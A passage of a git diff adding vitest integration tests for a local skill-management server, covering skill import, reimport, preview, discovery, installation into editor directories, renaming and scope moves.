+ writeFileSync(join(dir, 'assets', 'removed.bin'), Buffer.from([0x00, 0xff]));
+ expect((await importSkill({ source: dir, install: false })).status).toBe(200);
+
+ const skillRoot = existsSync(join(server.contentDir, '.agents'))
+ ? resolve(server.contentDir, '.agents', 'skills', 'shrinking')
+ : resolve(server.contentDir, '.claude', 'skills', 'shrinking');
+ expect(existsSync(join(skillRoot, 'references', 'removed.md'))).toBe(true);
+ expect(existsSync(join(skillRoot, 'assets', 'removed.bin'))).toBe(true);
+
+ rmSync(join(dir, 'references', 'removed.md'));
+ rmSync(join(dir, 'assets', 'removed.bin'));
+ writeSkillDir(dir, 'shrinking', 'v2', '# Two\n');
+ const updated = (await reimport({ name: 'shrinking' }).then((r) => r.json())) as {
+ updated: boolean;
+ };
+ expect(updated.updated).toBe(true);
+ expect(existsSync(join(skillRoot, 'references', 'keep.md'))).toBe(true);
+ expect(existsSync(join(skillRoot, 'references', 'removed.md'))).toBe(false);
+ expect(existsSync(join(skillRoot, 'assets', 'removed.bin'))).toBe(false);
+
+ const second = (await reimport({ name: 'shrinking' }).then((r) => r.json())) as {
+ updated: boolean;
+ };
+ expect(second.updated).toBe(false);
+
+ // A legacy lock has no upstream-file manifest. Once local bytes diverge,
+ // ownership is ambiguous, so a user-authored file must survive reimport.
+ const lockPath = resolve(server.contentDir, '.ok', 'skills-lock.json');
+ const lock = JSON.parse(readFileSync(lockPath, 'utf-8'));
+ delete lock.skills.shrinking.files;
+ writeFileSync(lockPath, `${JSON.stringify(lock, null, 2)}\n`);
+ writeFileSync(join(skillRoot, 'references', 'user-notes.md'), '# Local notes\n');
+ writeSkillDir(dir, 'shrinking', 'v3', '# Three\n');
+
+ const legacyUpdated = (await reimport({ name: 'shrinking' }).then((r) => r.json())) as {
+ updated: boolean;
+ };
+ expect(legacyUpdated.updated).toBe(true);
+ expect(readFileSync(join(skillRoot, 'references', 'user-notes.md'), 'utf-8')).toBe(
+ '# Local notes\n',
+ );
+ });
+
+ test('setAutoUpdate persists the per-skill opt-out without fetching upstream', async () => {
+ const dir = join(srcRoot, 'auto-update-src');
+ writeSkillDir(dir, 'auto-toggled', 'v1', '# One\n');
+ expect((await importSkill({ source: dir })).status).toBe(200);
+
+ const lockPath = resolve(server.contentDir, '.ok', 'skills-lock.json');
+ // An absent field delegates to the source-kind default (this local source is ON).
+ expect(JSON.parse(readFileSync(lockPath, 'utf-8')).skills['auto-toggled'].autoUpdate).toBe(
+ undefined,
+ );
+
+ const off = (await reimport({ name: 'auto-toggled', setAutoUpdate: false }).then((r) =>
+ r.json(),
+ )) as { updated: boolean };
+ expect(off.updated).toBe(false);
+ expect(JSON.parse(readFileSync(lockPath, 'utf-8')).skills['auto-toggled'].autoUpdate).toBe(
+ false,
+ );
+
+ // The list surfaces the flag through `origin` for the toolbar toggle.
+ const list = (await fetch(`${base()}/api/skills?scope=project`).then((r) => r.json())) as {
+ skills: { name: string; origin?: { autoUpdate?: boolean } }[];
+ };
+ expect(list.skills.find((sk) => sk.name === 'auto-toggled')?.origin?.autoUpdate).toBe(false);
+
+ // Back on persists the explicit choice (remote sources default OFF, so
+ // deleting the field here would lose a user's opt-in).
+ expect((await reimport({ name: 'auto-toggled', setAutoUpdate: true })).status).toBe(200);
+ expect(JSON.parse(readFileSync(lockPath, 'utf-8')).skills['auto-toggled'].autoUpdate).toBe(
+ true,
+ );
+ });
+
+ test('reimport of a non-imported (authored) skill is rejected', async () => {
+ // No lockfile entry → nothing to update from.
+ expect((await reimport({ name: 'never-imported' })).status).toBeGreaterThanOrEqual(400);
+ });
+});
+
+describe('GET /api/skills/preview', () => {
+ let server: TestServer;
+ beforeEach(async () => {
+ server = await createTestServer();
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ });
+
+ const preview = (params: Record<string, string>) =>
+ fetch(`http://127.0.0.1:${server.port}/api/skills/preview?${new URLSearchParams(params)}`);
+
+ test('returns the un-imported skill SKILL.md text (verbatim, frontmatter included)', async () => {
+ const dir = join(srcRoot, 'preview-single');
+ writeSkillDir(dir, 'previewable', 'Preview me', '# Heading\n\nProse.\n');
+ const res = await preview({ source: dir, name: 'previewable' });
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { name: string; skillMd: string };
+ expect(body.name).toBe('previewable');
+ expect(body.skillMd).toContain('name: previewable');
+ expect(body.skillMd).toContain('# Heading');
+ });
+
+ test('normalizes provider-owned plugin metadata without leaking cache paths to the UI', async () => {
+ const pluginsRoot = join(srcRoot, 'preview-plugin', 'plugins');
+ const pluginRoot = join(pluginsRoot, 'cache', 'market', 'toolkit', '1.2.3');
+ const skillDir = join(pluginRoot, 'skills', 'previewable-plugin');
+ writeSkillDir(skillDir, 'previewable-plugin', 'Plugin preview');
+ mkdirSync(join(pluginRoot, '.claude-plugin'), { recursive: true });
+ writeFileSync(
+ join(pluginRoot, '.claude-plugin', 'plugin.json'),
+ JSON.stringify({ name: 'toolkit', version: '1.2.3' }),
+ );
+ writeFileSync(
+ join(pluginsRoot, 'known_marketplaces.json'),
+ JSON.stringify({ market: { source: { source: 'github', repo: 'acme/toolkit' } } }),
+ );
+
+ const res = await preview({ source: skillDir, name: 'previewable-plugin' });
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as {
+ plugin?: Record<string, string>;
+ marketplaceUrl?: string;
+ };
+ expect(body.plugin).toEqual({
+ provider: 'claude',
+ plugin: 'toolkit',
+ version: '1.2.3',
+ marketplace: 'market',
+ repositoryUrl: 'https://github.com/acme/toolkit',
+ });
+ expect(body.marketplaceUrl).toBeUndefined();
+ });
+
+ test('404s when the name does not match a source skill, exactly as import does', async () => {
+ // Preview is the consent surface. Rendering the first skill on a name miss
+ // showed one skill's prose under another's name and then import refused the
+ // same miss, so the user could only install something they had not read.
+ const repo = join(srcRoot, 'preview-multi');
+ writeSkillDir(join(repo, 'alpha'), 'alpha', 'A');
+ writeSkillDir(join(repo, 'beta'), 'beta', 'B');
+ const res = await preview({ source: repo, name: 'does-not-exist' });
+ expect(res.status).toBe(404);
+ });
+
+ test('matches on the frontmatter name when it differs from the folder', async () => {
+ const repo = join(srcRoot, 'preview-fm-name');
+ writeSkillDir(join(repo, 'react-native-skills'), 'vercel-react-native', 'A');
+ writeSkillDir(join(repo, 'beta'), 'beta', 'B');
+ const res = await preview({ source: repo, name: 'vercel-react-native' });
+ expect(res.status).toBe(200);
+ expect(((await res.json()) as { name: string }).name).toBe('vercel-react-native');
+ });
+
+ test('with no name, still renders the first skill so a source can be browsed', async () => {
+ const repo = join(srcRoot, 'preview-browse');
+ writeSkillDir(join(repo, 'alpha'), 'alpha', 'A');
+ writeSkillDir(join(repo, 'beta'), 'beta', 'B');
+ const res = await preview({ source: repo });
+ expect(res.status).toBe(200);
+ expect(['alpha', 'beta']).toContain(((await res.json()) as { name: string }).name);
+ });
+
+ test('rejects a source with no SKILL.md', async () => {
+ const empty = join(srcRoot, 'preview-empty');
+ mkdirSync(empty, { recursive: true });
+ expect((await preview({ source: empty, name: 'x' })).status).toBe(404);
+ });
+
+ test('rejects a missing source', async () => {
+ expect((await preview({ name: 'x' })).status).toBe(400);
+ });
+});
+
+describe('GET /api/skills/discover', () => {
+ let server: TestServer;
+ beforeEach(async () => {
+ server = await createTestServer();
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ });
+
+ const discover = (source: string) =>
+ fetch(`http://127.0.0.1:${server.port}/api/skills/discover?${new URLSearchParams({ source })}`);
+
+ test('lists every skill (frontmatter name + description) in a multi-skill source', async () => {
+ const repo = join(srcRoot, 'discover-multi');
+ writeSkillDir(join(repo, 'skills', 'a'), 'alpha', 'A skill');
+ writeSkillDir(join(repo, 'skills', 'b'), 'beta', 'B skill');
+ const res = await discover(repo);
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { skills: { name: string; description: string | null }[] };
+ const byName = Object.fromEntries(body.skills.map((s) => [s.name, s.description]));
+ expect(byName.alpha).toBe('A skill');
+ expect(byName.beta).toBe('B skill');
+ });
+
+ test('returns the single skill for a one-skill source', async () => {
+ const dir = join(srcRoot, 'discover-single');
+ writeSkillDir(dir, 'solo', 'only one');
+ const body = (await discover(dir).then((r) => r.json())) as { skills: { name: string }[] };
+ expect(body.skills.map((s) => s.name)).toEqual(['solo']);
+ });
+
+ /**
+ * A source with no SKILL.md is not an error here — it just yields no picker
+ * (the import path is what 404s when the user commits).
+ *
+ */
+ test('returns an empty list (200) for a source with no SKILL.md', async () => {
+ const empty = join(srcRoot, 'discover-empty');
+ mkdirSync(empty, { recursive: true });
+ const res = await discover(empty);
+ expect(res.status).toBe(200);
+ expect(((await res.json()) as { skills: unknown[] }).skills).toEqual([]);
+ });
+
+ test('rejects a missing source', async () => {
+ const res = await fetch(`http://127.0.0.1:${server.port}/api/skills/discover`);
+ expect(res.status).toBe(400);
+ });
+});
diff --git a/packages/app/tests/integration/skill-install-empty-description.test.ts b/packages/app/tests/integration/skill-install-empty-description.test.ts
new file mode 100644
index 000000000..1925b30e4
--- /dev/null
+++ b/packages/app/tests/integration/skill-install-empty-description.test.ts
@@ -0,0 +1,67 @@
+import { mkdtempSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { SkillInstallSuccessSchema } from '@inkeep/open-knowledge-core';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { HARNESS_BOOT_TIMEOUT_MS } from './harness-boot-timeout';
+import { createTestServer, type TestServer } from './test-harness';
+
+/**
+ * install must be authoritative — succeed or fail loudly, never both.
+ * An empty `description` used to hard-400, so an already-installed skill red-
+ * errored on every install click. Now it installs (200) with a non-blocking
+ * `no-description` warning, and re-installing an already-installed target is a
+ * clean no-op success.
+ *
+ */
+let server: TestServer;
+let tmpHome: string;
+const base = () => `http://127.0.0.1:${server.port}`;
+
+const put = (scope: string, name: string, description: string) =>
+ fetch(`${base()}/api/skill`, {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope, name, frontmatter: { name, description }, body: '# x' }),
+ });
+const install = (scope: string, name: string, targets: string[]) =>
+ fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope, name, targets }),
+ });
+
+beforeAll(async () => {
+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-install-emptydesc-home-'));
+ server = await createTestServer({ configHomedirOverride: tmpHome });
+}, HARNESS_BOOT_TIMEOUT_MS);
+afterAll(async () => {
+ await server.cleanup();
+ rmSync(tmpHome, { recursive: true, force: true });
+});
+
+describe('install with an empty description (PRD-7596)', () => {
+ test('installs with a no-description warning instead of a hard error', async () => {
+ expect((await put('project', 'nodesc', '')).status).toBe(200);
+ const res = await install('project', 'nodesc', ['claude']);
+ expect(res.status).toBe(200);
+ const parsed = SkillInstallSuccessSchema.safeParse(await res.json());
+ expect(parsed.success).toBe(true);
+ if (!parsed.success) return;
+ expect(parsed.data.hosts).toContain('claude');
+ expect(parsed.data.warningCodes).toContain('no-description');
+ });
+
+ test('re-installing an already-installed target is a clean no-op success', async () => {
+ expect((await put('project', 'withdesc', 'A real description.')).status).toBe(200);
+ expect((await install('project', 'withdesc', ['claude'])).status).toBe(200);
+ const again = await install('project', 'withdesc', ['claude']);
+ expect(again.status).toBe(200);
+ const parsed = SkillInstallSuccessSchema.safeParse(await again.json());
+ expect(parsed.success).toBe(true);
+ if (!parsed.success) return;
+ expect(parsed.data.hosts).toContain('claude');
+ // No error, and nothing to warn about on a plain already-installed no-op.
+ expect(parsed.data.warningCodes).not.toContain('no-description');
+ });
+});
diff --git a/packages/app/tests/integration/skill-install-flushes-live-desc.test.ts b/packages/app/tests/integration/skill-install-flushes-live-desc.test.ts
new file mode 100644
index 000000000..ad2d8fe24
--- /dev/null
+++ b/packages/app/tests/integration/skill-install-flushes-live-desc.test.ts
@@ -0,0 +1,87 @@
+import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import {
+ awaitDocQuiescence,
+ createTestClient,
+ createTestServer,
+ pollUntil,
+ type TestServer,
+} from './test-harness.ts';
+
+/**
+ * install validates the SKILL.md ON DISK (name + description
+ * non-empty), but a description typed in the live editor a moment ago is still
+ * inside the debounced persist window — so a naive disk read false-fails with
+ * "description is missing or empty". The install handler must force-flush the
+ * skill's live content doc before validating. With the persist debounce set far
+ * longer than the test, the ONLY way the description reaches disk in time is the
+ * handler's own pre-validate flush.
+ *
+ */
+describe('skill install flushes the live SKILL.md before validating (PRD-7447)', () => {
+ let server: TestServer;
+ let contentDir: string;
+ const skillDirRel = '.claude/skills/flushtest';
+ const skillDocName = `${skillDirRel}/SKILL`;
+
+ beforeEach(async () => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-skill-flush-'));
+ mkdirSync(join(contentDir, skillDirRel), { recursive: true });
+ // Seed WITH AN EMPTY DESCRIPTION on disk — the state right after "New skill",
+ // before the author has typed one. A raw disk read here would reject install.
+ writeFileSync(
+ join(contentDir, skillDirRel, 'SKILL.md'),
+ '---\nname: flushtest\ndescription: \n---\n\nDraft body.\n',
+ );
+ // Persist debounce >> test duration, so persistence never fires on its own;
+ // the description can only land via the install handler's pre-validate flush.
+ server = await createTestServer({ contentDir, debounce: 60_000, maxDebounce: 60_000 });
+ });
+
+ afterEach(async () => {
+ await server.cleanup();
+ rmSync(contentDir, { recursive: true, force: true });
+ });
+
+ test('install succeeds when the description exists only in the unflushed live doc', async () => {
+ const base = `http://127.0.0.1:${server.port}`;
+ const client = await createTestClient(server.port, skillDocName);
+ try {
+ // Wait for the disk seed to sync into the client before editing it.
+ await pollUntil(async () => client.ytext.toString().includes('name: flushtest'), 2000, 25);
+
+ // Type a real description into the live source — NOT persisted (debounce).
+ const withDesc =
+ '---\nname: flushtest\ndescription: A real description typed live\n---\n\nDraft body.\n';
+ client.doc.transact(() => {
+ client.ytext.delete(0, client.ytext.length);
+ client.ytext.insert(0, withDesc);
+ });
+ await awaitDocQuiescence(client.doc);
+
+ // Disk is still the empty-description seed at this point (debounce pending).
+ expect(readFileSync(join(contentDir, skillDirRel, 'SKILL.md'), 'utf-8')).not.toContain(
+ 'A real description typed live',
+ );
+
+ const res = await fetch(`${base}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope: 'project', name: 'flushtest', targets: ['cursor'] }),
+ });
+
+ // Pre-fix this was a 400 INVALID_SKILL_SOURCE ("description is missing or empty").
+ expect(res.status).toBe(200);
+
+ // The pre-validate flush landed the live description on disk — read it back
+ // through the API (projection-agnostic; install relocates the canonical).
+ const get = await fetch(`${base}/api/skill?name=flushtest&scope=project`);
+ const payload = (await get.json()) as { skill?: { frontmatter?: { description?: string } } };
+ expect(payload.skill?.frontmatter?.description).toBe('A real description typed live');
+ } finally {
+ await client.cleanup();
+ }
+ });
+});
diff --git a/packages/app/tests/integration/skill-installable-editors.test.ts b/packages/app/tests/integration/skill-installable-editors.test.ts
new file mode 100644
index 000000000..a81b7f50e
--- /dev/null
+++ b/packages/app/tests/integration/skill-installable-editors.test.ts
@@ -0,0 +1,66 @@
+import { mkdirSync, mkdtempSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { SkillsListSuccessSchema } from '@inkeep/open-knowledge-core';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { HARNESS_BOOT_TIMEOUT_MS } from './harness-boot-timeout';
+import { createTestServer, type TestServer } from './test-harness';
+
+/**
+ * the install menu must OFFER only editors installable on this machine.
+ * Project scope = every editor with a project skill root (install creates the
+ * dir). Global scope = only editors whose user-home skill dir EXISTS — a global
+ * install never creates a host home, so offering an undetected editor (Copilot
+ * with no `~/.copilot`) just no-ops and the checkmark flashes then reverts.
+ * The server surfaces `installableEditors` per entry; the menu gates on it.
+ *
+ */
+let server: TestServer;
+let tmpHome: string;
+const base = () => `http://127.0.0.1:${server.port}`;
+
+beforeAll(async () => {
+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-installable-home-'));
+ // Detected global editors: `.claude` present, `.copilot` ABSENT. `.agents` is
+ // the vendor-neutral authoring hub for a fresh global skill.
+ mkdirSync(join(tmpHome, '.agents', 'skills'), { recursive: true });
+ mkdirSync(join(tmpHome, '.claude', 'skills'), { recursive: true });
+ server = await createTestServer({ configHomedirOverride: tmpHome });
+}, HARNESS_BOOT_TIMEOUT_MS);
+afterAll(async () => {
+ await server.cleanup();
+ rmSync(tmpHome, { recursive: true, force: true });
+});
+
+const putSkill = (scope: 'project' | 'global', name: string) =>
+ fetch(`${base()}/api/skill`, {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope, name, frontmatter: { name, description: 'd.' }, body: '# x' }),
+ });
+
+describe('installableEditors gating (PRD-7600)', () => {
+ test('global offers only detected editors; project offers all', async () => {
+ expect((await putSkill('global', 'g-skill')).status).toBe(200);
+ expect((await putSkill('project', 'p-skill')).status).toBe(200);
+
+ const res = await fetch(`${base()}/api/skills`);
+ const parsed = SkillsListSuccessSchema.safeParse(await res.json());
+ expect(parsed.success).toBe(true);
+ if (!parsed.success) return;
+
+ const global = parsed.data.skills.find((s) => s.name === 'g-skill');
+ const project = parsed.data.skills.find((s) => s.name === 'p-skill');
+ expect(global?.scope).toBe('global');
+ expect(project?.scope).toBe('project');
+
+ // Global: `.claude` detected → offered; `.copilot` absent → NOT offered.
+ expect(global?.installableEditors).toContain('claude');
+ expect(global?.installableEditors).not.toContain('copilot');
+
+ // Project: install creates the dir, so every project-rooted editor is
+ // offered — including Copilot (`.github/skills`).
+ expect(project?.installableEditors).toContain('claude');
+ expect(project?.installableEditors).toContain('copilot');
+ });
+});
diff --git a/packages/app/tests/integration/skill-rename-no-copy.test.ts b/packages/app/tests/integration/skill-rename-no-copy.test.ts
new file mode 100644
index 000000000..bab69848a
--- /dev/null
+++ b/packages/app/tests/integration/skill-rename-no-copy.test.ts
@@ -0,0 +1,141 @@
+import {
+ existsSync,
+ lstatSync,
+ mkdirSync,
+ mkdtempSync,
+ readFileSync,
+ rmSync,
+ writeFileSync,
+} from 'node:fs';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+import { SkillsListSuccessSchema } from '@inkeep/open-knowledge-core';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { HARNESS_BOOT_TIMEOUT_MS } from './harness-boot-timeout';
+import { createTestServer, type TestServer } from './test-harness';
+
+/**
+ * renaming a skill must MOVE it, not leave a copy of the old name
+ * behind, and must keep the editors it occupied. Reproduces the reported flow:
+ * create a project skill, install it to claude+cursor, rename foo→bar.
+ *
+ */
+let server: TestServer;
+let tmpHome: string;
+const base = () => `http://127.0.0.1:${server.port}`;
+
+const HOST_DOTDIR = { claude: '.claude', cursor: '.cursor' } as const;
+const editorDir = (editor: keyof typeof HOST_DOTDIR, name: string) =>
+ join(server.contentDir, HOST_DOTDIR[editor], 'skills', name);
+const editorCopy = (editor: keyof typeof HOST_DOTDIR, name: string) =>
+ join(editorDir(editor, name), 'SKILL.md');
+
+async function listNames(): Promise<string[]> {
+ const parsed = SkillsListSuccessSchema.safeParse(
+ await (await fetch(`${base()}/api/skills`)).json(),
+ );
+ if (!parsed.success) return [];
+ return parsed.data.skills.map((s) => s.name);
+}
+
+beforeAll(async () => {
+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-skill-rename-home-'));
+ server = await createTestServer({ configHomedirOverride: tmpHome });
+}, HARNESS_BOOT_TIMEOUT_MS);
+afterAll(async () => {
+ await server.cleanup();
+ rmSync(tmpHome, { recursive: true, force: true });
+});
+
+describe('skill rename moves, never copies (PRD-7603)', () => {
+ test('rename foo→bar: old name gone everywhere, new name keeps claude+cursor', async () => {
+ expect(
+ (
+ await fetch(`${base()}/api/skill`, {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'project',
+ name: 'foo',
+ body: '## When\n\nDoing foo.',
+ frontmatter: { name: 'foo', description: 'Use when doing foo.' },
+ }),
+ })
+ ).status,
+ ).toBe(200);
+
+ const lockPath = join(server.contentDir, '.ok', 'skills-lock.json');
+ mkdirSync(dirname(lockPath), { recursive: true });
+ writeFileSync(
+ lockPath,
+ `${JSON.stringify(
+ {
+ schema: 1,
+ skills: {
+ foo: {
+ source: 'https://github.com/acme/skills',
+ contentHash: 'upstream-hash',
+ localHash: 'pre-rename-local-hash',
+ importedAt: '2026-07-29T12:00:00.000Z',
+ },
+ },
+ },
+ null,
+ 2,
+ )}\n`,
+ );
+ expect(
+ (
+ await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'project',
+ name: 'foo',
+ targets: ['claude', 'cursor'],
+ linkMode: false,
+ }),
+ })
+ ).status,
+ ).toBe(200);
+ expect(existsSync(editorCopy('claude', 'foo'))).toBe(true);
+ expect(existsSync(editorCopy('cursor', 'foo'))).toBe(true);
+
+ // Rename (the POST /api/skill fromName→toName the dialog uses).
+ const rename = await fetch(`${base()}/api/skill`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope: 'project', fromName: 'foo', toName: 'bar' }),
+ });
+ expect(rename.status).toBe(200);
+
+ // No copy of the OLD name survives in ANY editor.
+ expect(existsSync(editorCopy('claude', 'foo'))).toBe(false);
+ expect(existsSync(editorCopy('cursor', 'foo'))).toBe(false);
+
+ // The new name still occupies the editors foo held (rename ≠ uninstall).
+ expect(existsSync(editorCopy('claude', 'bar'))).toBe(true);
+ expect(existsSync(editorCopy('cursor', 'bar'))).toBe(true);
+ expect(lstatSync(editorDir('cursor', 'bar')).isSymbolicLink()).toBe(false);
+
+ const lock = JSON.parse(readFileSync(lockPath, 'utf-8')) as {
+ skills: Record<string, { source: string; localHash?: string }>;
+ };
+ expect(lock.skills.foo).toBeUndefined();
+ expect(lock.skills.bar?.source).toBe('https://github.com/acme/skills');
+ expect(lock.skills.bar?.localHash).not.toBe('pre-rename-local-hash');
+
+ // The list shows exactly one skill, `bar` — never both foo and bar.
+ const names = await listNames();
+ expect(names).toContain('bar');
+ expect(names).not.toContain('foo');
+ expect(names.filter((n) => n === 'bar')).toHaveLength(1);
+
+ const listed = (await fetch(`${base()}/api/skills?scope=project`).then((r) => r.json())) as {
+ skills: Array<{ name: string; origin?: { source: string } }>;
+ };
+ expect(listed.skills.find((skill) => skill.name === 'bar')?.origin?.source).toBe(
+ 'https://github.com/acme/skills',
+ );
+ });
+});
diff --git a/packages/app/tests/integration/skill-scope-move-preserves-hosts.test.ts b/packages/app/tests/integration/skill-scope-move-preserves-hosts.test.ts
new file mode 100644
index 000000000..ab8527b1d
--- /dev/null
+++ b/packages/app/tests/integration/skill-scope-move-preserves-hosts.test.ts
@@ -0,0 +1,169 @@
+import {
+ existsSync,
+ lstatSync,
+ mkdirSync,
+ mkdtempSync,
+ rmSync,
+ symlinkSync,
+ writeFileSync,
+} from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { HARNESS_BOOT_TIMEOUT_MS } from './harness-boot-timeout';
+import { createTestServer, type TestServer } from './test-harness';
+
+/**
+ * a project→global scope move must re-install the skill into the SAME
+ * editors it already occupied — not silently drop them and re-land only on the
+ * default hub. The regression was that `/api/skill/move-scope` read the source
+ * host set from the install MARKER only; for an in-place skill whose editor
+ * copies exist on disk but were never recorded in the marker (created/imported
+ * in place, older marker), that read came back empty and the destination lost
+ * every editor projection. The fix unions the marker with the SCAN (which editor
+ * dirs actually hold a copy), so the scan-only case is preserved.
+ *
+ */
+let server: TestServer;
+let tmpHome: string;
+const base = () => `http://127.0.0.1:${server.port}`;
+
+const EDITORS = ['claude', 'cursor', 'codex'] as const;
+const HOST_DOTDIR: Record<(typeof EDITORS)[number], string> = {
+ claude: '.claude',
+ cursor: '.cursor',
+ codex: '.codex',
+};
+
+const SKILL_MD = (name: string) =>
+ `---\nname: ${name}\ndescription: Use when logging a trip.\n---\n\n## When\n\nLogging a trip.\n`;
+
+/** Seed an in-place skill directly on disk across editor dirs — NO install
+ * marker written, so only the scan knows its host set (the failing case). */
+function seedInPlaceAcrossEditors(root: string, name: string): void {
+ for (const e of EDITORS) {
+ const dir = join(root, HOST_DOTDIR[e], 'skills', name);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(join(dir, 'SKILL.md'), SKILL_MD(name));
+ }
+}
+
+const globalProjection = (editor: (typeof EDITORS)[number], name: string) =>
+ join(tmpHome, HOST_DOTDIR[editor], 'skills', name);
+
+beforeAll(async () => {
+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-scope-move-hosts-home-'));
+ server = await createTestServer({ configHomedirOverride: tmpHome });
+}, HARNESS_BOOT_TIMEOUT_MS);
+afterAll(async () => {
+ await server.cleanup();
+ rmSync(tmpHome, { recursive: true, force: true });
+});
+
+describe('scope move preserves the editor host set (PRD-7601)', () => {
+ test('project→global re-installs into every editor the scan-only skill occupied', async () => {
+ const name = 'trip-logger';
+ seedInPlaceAcrossEditors(server.contentDir, name);
+
+ const res = await fetch(`${base()}/api/skill/move-scope`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name, fromScope: 'project', toScope: 'global' }),
+ });
+ expect(res.status).toBe(200);
+
+ // The skill lands at global scope AND is re-projected into the SAME editors
+ // (claude+cursor+codex) it occupied at project scope — pre-fix it landed only
+ // on the default global hub and these were all absent.
+ for (const e of EDITORS) {
+ expect(existsSync(join(globalProjection(e, name), 'SKILL.md'))).toBe(true);
+ }
+
+ // Source project projections are gone (no orphans).
+ for (const e of EDITORS) {
+ expect(existsSync(join(server.contentDir, HOST_DOTDIR[e], 'skills', name))).toBe(false);
+ }
+ });
+
+ test('project→global preserves hosts through the REAL install path (marker-backed)', async () => {
+ const name = 'trip-logger-installed';
+ // The user's actual flow: create the skill, then install it into editors via
+ // the real /api/skill/install (writes the marker + projections the same way
+ // the UI does), THEN move scope.
+ expect(
+ (
+ await fetch(`${base()}/api/skill`, {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'project',
+ name,
+ body: '## When\n\nLogging a trip.',
+ frontmatter: { name, description: 'Use when logging a trip.' },
+ }),
+ })
+ ).status,
+ ).toBe(200);
+ const installed = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope: 'project', name, targets: ['claude', 'cursor'] }),
+ });
+ expect(installed.status).toBe(200);
+ for (const e of ['claude', 'cursor'] as const) {
+ expect(existsSync(join(server.contentDir, HOST_DOTDIR[e], 'skills', name, 'SKILL.md'))).toBe(
+ true,
+ );
+ }
+
+ const res = await fetch(`${base()}/api/skill/move-scope`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name, fromScope: 'project', toScope: 'global' }),
+ });
+ expect(res.status).toBe(200);
+
+ // The move must re-install into the SAME editors at global scope.
+ for (const e of ['claude', 'cursor'] as const) {
+ expect(existsSync(join(globalProjection(e, name), 'SKILL.md'))).toBe(true);
+ }
+ });
+
+ test('project→global materializes the FOLDER-symlink audience as real installs', async () => {
+ // Physical copy lives only at the .agents hub; .claude/.cursor skills folders
+ // are FOLDER-level symlinks to it (a sync-tool / dotfiles setup). Those editors
+ // SEE the skill via the folder link but hold no independent copy. Global scope
+ // has no such symlink, so the move must materialize them as REAL installs to
+ // preserve reachability (, folder-symlink audience).
+ const name = 'trip-logger-linked';
+ const agentsSkills = join(server.contentDir, '.agents', 'skills');
+ mkdirSync(join(agentsSkills, name), { recursive: true });
+ writeFileSync(join(agentsSkills, name, 'SKILL.md'), SKILL_MD(name));
+ for (const e of ['claude', 'cursor'] as const) {
+ mkdirSync(join(server.contentDir, HOST_DOTDIR[e]), { recursive: true });
+ // Prior tests in this shared server may have left a real skills dir here;
+ // clear it so we can replace it with a folder-level symlink.
+ const link = join(server.contentDir, HOST_DOTDIR[e], 'skills');
+ rmSync(link, { recursive: true, force: true });
+ // <contentDir>/.claude/skills -> <contentDir>/.agents/skills (folder link)
+ symlinkSync(agentsSkills, link, 'dir');
+ }
+
+ const res = await fetch(`${base()}/api/skill/move-scope`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name, fromScope: 'project', toScope: 'global' }),
+ });
+ expect(res.status).toBe(200);
+
+ // At global (no folder symlink), the audience is materialized as its OWN
+ // install in each editor: the editor's skills ROOT is an independent real dir
+ // (NOT a folder-symlink alias like the source), and the skill is reachable
+ // inside it. The per-skill entry itself may be a symlink projection — that's a
+ // real install; what matters is the editor independently carries the skill.
+ for (const e of ['claude', 'cursor'] as const) {
+ expect(lstatSync(join(tmpHome, HOST_DOTDIR[e], 'skills')).isSymbolicLink()).toBe(false);
+ expect(existsSync(join(globalProjection(e, name), 'SKILL.md'))).toBe(true);
+ }
+ });
+});
diff --git a/packages/app/tests/integration/skills-in-place-list.test.ts b/packages/app/tests/integration/skills-in-place-list.test.ts
new file mode 100644
index 000000000..b6b651210
--- /dev/null
+++ b/packages/app/tests/integration/skills-in-place-list.test.ts
@@ -0,0 +1,1367 @@
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
